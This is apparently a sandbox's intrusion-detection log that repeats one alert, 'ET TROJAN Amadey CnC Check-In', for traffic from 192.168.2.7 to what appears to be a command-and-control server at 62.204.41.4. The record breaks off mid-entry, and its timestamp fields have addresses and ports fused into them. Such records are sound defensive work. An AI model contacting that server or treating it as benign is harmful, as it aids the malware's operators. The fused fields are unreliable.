Timestamp:	192.168.2.762.204.41.450125802027700 02/06/23-18:37:46.016414
SID:	2027700
Source Port:	50125
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449861802027700 02/06/23-18:36:32.032216
SID:	2027700
Source Port:	49861
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450217802027700 02/06/23-18:38:11.221533
SID:	2027700
Source Port:	50217
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449855802027700 02/06/23-18:36:30.616176
SID:	2027700
Source Port:	49855
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449953802027700 02/06/23-18:37:00.586145
SID:	2027700
Source Port:	49953
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450036802027700 02/06/23-18:37:23.421959
SID:	2027700
Source Port:	50036
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450134802027700 02/06/23-18:37:48.466411
SID:	2027700
Source Port:	50134
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449769802027700 02/06/23-18:36:08.538973
SID:	2027700
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449858802027700 02/06/23-18:36:31.320590
SID:	2027700
Source Port:	49858
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450051802027700 02/06/23-18:37:27.043305
SID:	2027700
Source Port:	50051
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450181802027700 02/06/23-18:38:00.930275
SID:	2027700
Source Port:	50181
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450175802027700 02/06/23-18:37:59.517986
SID:	2027700
Source Port:	50175
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449925802027700 02/06/23-18:36:52.126736
SID:	2027700
Source Port:	49925
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450092802027700 02/06/23-18:37:38.122805
SID:	2027700
Source Port:	50092
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450319802027700 02/06/23-18:38:37.557364
SID:	2027700
Source Port:	50319
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449772802027700 02/06/23-18:36:09.270270
SID:	2027700
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449801802027700 02/06/23-18:36:16.822547
SID:	2027700
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449842802027700 02/06/23-18:36:27.765216
SID:	2027700
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449972802027700 02/06/23-18:37:05.232422
SID:	2027700
Source Port:	49972
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450277802027700 02/06/23-18:38:27.380412
SID:	2027700
Source Port:	50277
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450236802027700 02/06/23-18:38:15.815189
SID:	2027700
Source Port:	50236
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450023802027700 02/06/23-18:37:20.267374
SID:	2027700
Source Port:	50023
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450147802027700 02/06/23-18:37:52.828888
SID:	2027700
Source Port:	50147
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449883802027700 02/06/23-18:36:38.704700
SID:	2027700
Source Port:	49883
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450106802027700 02/06/23-18:37:41.418242
SID:	2027700
Source Port:	50106
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450153802027700 02/06/23-18:37:54.264449
SID:	2027700
Source Port:	50153
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449788802027700 02/06/23-18:36:12.897781
SID:	2027700
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449802802027700 02/06/23-18:36:18.022306
SID:	2027700
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450130802027700 02/06/23-18:37:47.251536
SID:	2027700
Source Port:	50130
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449863802027700 02/06/23-18:36:32.512023
SID:	2027700
Source Port:	49863
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450225802027700 02/06/23-18:38:13.126471
SID:	2027700
Source Port:	50225
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450047802027700 02/06/23-18:37:26.104922
SID:	2027700
Source Port:	50047
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450286802027700 02/06/23-18:38:29.567763
SID:	2027700
Source Port:	50286
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450188802027700 02/06/23-18:38:02.626278
SID:	2027700
Source Port:	50188
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449976802027700 02/06/23-18:37:06.213926
SID:	2027700
Source Port:	49976
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450029802027700 02/06/23-18:37:21.731774
SID:	2027700
Source Port:	50029
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449820802027700 02/06/23-18:36:22.420698
SID:	2027700
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449958802027700 02/06/23-18:37:01.789883
SID:	2027700
Source Port:	49958
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450258802027700 02/06/23-18:38:21.134137
SID:	2027700
Source Port:	50258
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450102802027700 02/06/23-18:37:40.471333
SID:	2027700
Source Port:	50102
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449798802027700 02/06/23-18:36:15.438757
SID:	2027700
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449740802027700 02/06/23-18:36:01.508139
SID:	2027700
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449891802027700 02/06/23-18:36:40.650924
SID:	2027700
Source Port:	49891
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449817802027700 02/06/23-18:36:21.693658
SID:	2027700
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450243802027700 02/06/23-18:38:17.517772
SID:	2027700
Source Port:	50243
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450338802027700 02/06/23-18:38:41.974959
SID:	2027700
Source Port:	50338
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449835802027700 02/06/23-18:36:26.067781
SID:	2027700
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450065802027700 02/06/23-18:37:30.338043
SID:	2027700
Source Port:	50065
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450261802027700 02/06/23-18:38:21.845480
SID:	2027700
Source Port:	50261
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450215802027700 02/06/23-18:38:10.750044
SID:	2027700
Source Port:	50215
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450083802027700 02/06/23-18:37:35.944831
SID:	2027700
Source Port:	50083
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450019802027700 02/06/23-18:37:19.314761
SID:	2027700
Source Port:	50019
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449986802027700 02/06/23-18:37:08.750839
SID:	2027700
Source Port:	49986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450120802027700 02/06/23-18:37:44.810267
SID:	2027700
Source Port:	50120
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450014802027700 02/06/23-18:37:18.030710
SID:	2027700
Source Port:	50014
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449881802027700 02/06/23-18:36:38.196455
SID:	2027700
Source Port:	49881
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449886802027700 02/06/23-18:36:39.465156
SID:	2027700
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450037802027700 02/06/23-18:37:23.652171
SID:	2027700
Source Port:	50037
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450055802027700 02/06/23-18:37:27.766285
SID:	2027700
Source Port:	50055
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450233802027700 02/06/23-18:38:15.078905
SID:	2027700
Source Port:	50233
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449935802027700 02/06/23-18:36:56.304075
SID:	2027700
Source Port:	49935
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450171802027700 02/06/23-18:37:58.553511
SID:	2027700
Source Port:	50171
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450202802027700 02/06/23-18:38:06.231570
SID:	2027700
Source Port:	50202
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450085802027700 02/06/23-18:37:36.424991
SID:	2027700
Source Port:	50085
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449843802027700 02/06/23-18:36:28.008839
SID:	2027700
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450263802027700 02/06/23-18:38:22.311708
SID:	2027700
Source Port:	50263
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450248802027700 02/06/23-18:38:18.734487
SID:	2027700
Source Port:	50248
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450284802027700 02/06/23-18:38:29.098650
SID:	2027700
Source Port:	50284
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449871802027700 02/06/23-18:36:35.146966
SID:	2027700
Source Port:	49871
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450027802027700 02/06/23-18:37:21.251923
SID:	2027700
Source Port:	50027
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449757802027700 02/06/23-18:36:05.614238
SID:	2027700
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449876802027700 02/06/23-18:36:37.001689
SID:	2027700
Source Port:	49876
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450198802027700 02/06/23-18:38:05.080347
SID:	2027700
Source Port:	50198
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449873802027700 02/06/23-18:36:36.003660
SID:	2027700
Source Port:	49873
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450024802027700 02/06/23-18:37:20.506098
SID:	2027700
Source Port:	50024
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450205802027700 02/06/23-18:38:07.442403
SID:	2027700
Source Port:	50205
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449948802027700 02/06/23-18:36:59.384504
SID:	2027700
Source Port:	49948
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450057802027700 02/06/23-18:37:28.262420
SID:	2027700
Source Port:	50057
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449729802027700 02/06/23-18:35:57.348763
SID:	2027700
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449907802027700 02/06/23-18:36:47.522865
SID:	2027700
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450098802027700 02/06/23-18:37:39.529541
SID:	2027700
Source Port:	50098
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450235802027700 02/06/23-18:38:15.569378
SID:	2027700
Source Port:	50235
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449830802027700 02/06/23-18:36:24.829107
SID:	2027700
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449989802027700 02/06/23-18:37:09.476584
SID:	2027700
Source Port:	49989
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450016802027700 02/06/23-18:37:18.532774
SID:	2027700
Source Port:	50016
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450207802027700 02/06/23-18:38:08.630704
SID:	2027700
Source Port:	50207
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450276802027700 02/06/23-18:38:26.300126
SID:	2027700
Source Port:	50276
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449848802027700 02/06/23-18:36:28.944538
SID:	2027700
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450230802027700 02/06/23-18:38:14.375521
SID:	2027700
Source Port:	50230
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450271802027700 02/06/23-18:38:24.266112
SID:	2027700
Source Port:	50271
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450100802027700 02/06/23-18:37:39.998889
SID:	2027700
Source Port:	50100
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449807802027700 02/06/23-18:36:19.287197
SID:	2027700
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449978802027700 02/06/23-18:37:06.699430
SID:	2027700
Source Port:	49978
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450093802027700 02/06/23-18:37:38.357594
SID:	2027700
Source Port:	50093
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450129802027700 02/06/23-18:37:46.992346
SID:	2027700
Source Port:	50129
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449730802027700 02/06/23-18:35:58.016249
SID:	2027700
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450052802027700 02/06/23-18:37:27.283164
SID:	2027700
Source Port:	50052
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450307802027700 02/06/23-18:38:34.659310
SID:	2027700
Source Port:	50307
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450348802027700 02/06/23-18:38:46.302644
SID:	2027700
Source Port:	50348
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449866802027700 02/06/23-18:36:33.225481
SID:	2027700
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450139802027700 02/06/23-18:37:50.922595
SID:	2027700
Source Port:	50139
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449860802027700 02/06/23-18:36:31.786991
SID:	2027700
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449777802027700 02/06/23-18:36:10.512879
SID:	2027700
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450228802027700 02/06/23-18:38:13.886569
SID:	2027700
Source Port:	50228
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449955802027700 02/06/23-18:37:01.055369
SID:	2027700
Source Port:	49955
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450090802027700 02/06/23-18:37:37.652979
SID:	2027700
Source Port:	50090
Destination Port:	80
Protocol:	TCP
